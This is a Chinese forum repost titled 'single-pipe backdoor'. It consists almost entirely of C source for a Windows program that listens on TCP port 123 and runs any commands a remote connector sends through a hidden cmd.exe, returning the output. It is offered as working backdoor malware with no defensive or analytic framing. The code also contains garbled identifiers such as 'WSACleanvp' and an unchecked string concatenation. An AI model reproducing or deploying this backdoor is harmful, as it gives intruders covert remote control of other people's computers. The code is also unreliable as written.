单管道后门

2009-8-10 11:39 869 0

摘要: #include <stdlib.h>#include <stdio.h>#include <winsock2.h>#include <windows.h&g...

关键词： nbsp lBytesRead locsin cmdcomplete data server client sizeof BUFFERLEN cmdLine

#include <stdlib.h>#include <stdio.h>#include <winsock2.h>#include <windows.h> #pragma comment(lib,"ws2_32.lib") #define BUFFERLEN 1024#define PORT 123 void TelnetForCmd2(); //绑定cmd.exe int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ //下面是调用绑定cmd.exe的TelnetForCmd函数 WSAData wsa; if(WSAStartup(MAKEWORD(2,2),&wsa) == 0) { TelnetForCmd 2(); WSACleanvp(); } return 0;} void TelnetForCmd2(){ //telnet 绑定cmd.exe int val=1; char data[BUFFERLEN]; SOCKET server; SOCKET client; struct sockaddr_in locsin; server = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //创建套接字 locsin.sin_addr.s_addr=INADDR_ANY; locsin.sin_family = AF_INET; locsin.sin_port = htons(PORT); bind(server, (sockaddr*)&locsin, sizeof(locsin)); //绑定IP地址和端口 listen(server,2); while(1) { val=sizeof(locsin); client=accept(server, (sockaddr*)&locsin,&val); if(client!=INVALID_SOCKET) { HANDLE rp1, wp1; SECURITY_ATTRIBUTES sa; STARTUPINFO si; PROCESS_INFORMATION pi; unsigned long lBytesRead; int ret; char cmdLine[1024]; BOOL cmdcomplete; sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; CreatePipe(&rp1, &wp1, &sa, 0); memset(&si,0,sizeof(si)); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdError = si.hStdOutput = wp1; si.wShowWindow = SW_HIDE; si.cb = sizeof(STARTUPINFO); cmdcomplete = TRUE; while(1) { Sleep(100); lBytesRead = 0; ret = PeekNamedPipe(rp1,data,BUFFERLEN,&lBytesRead,0,0); if(lBytesRead) { if(ReadFile(rp1, data, lBytesRead, &lBytesRead, 0) > 0) { ret = send(client, data, lBytesRead, 0); if(!ret) break; } } else { lBytesRead=recv(client, data, BUFFERLEN ,0); if(lBytesRead <= 0) break; if(cmdcomplete == TRUE) strcpy(cmdLine,"cmd.exe /c "); data[lBytesRead] = '\0'; strcat(cmdLine,data); if(strstr(data,"\n") != 0) { CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&pi); cmdcomplete = TRUE; } else { cmdcomplete = FALSE; } if(!ret) break; } } CloseHandle(rp1); CloseHandle(wp1); closesocket(client); } } closesocket(server);}//end TelnetForCmd function转载请注明出自暗组信息安全论坛 http://www.darkst.com/bbs/,本贴地址:http://www.darkst.com/bbs/viewthread.php?tid=238

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除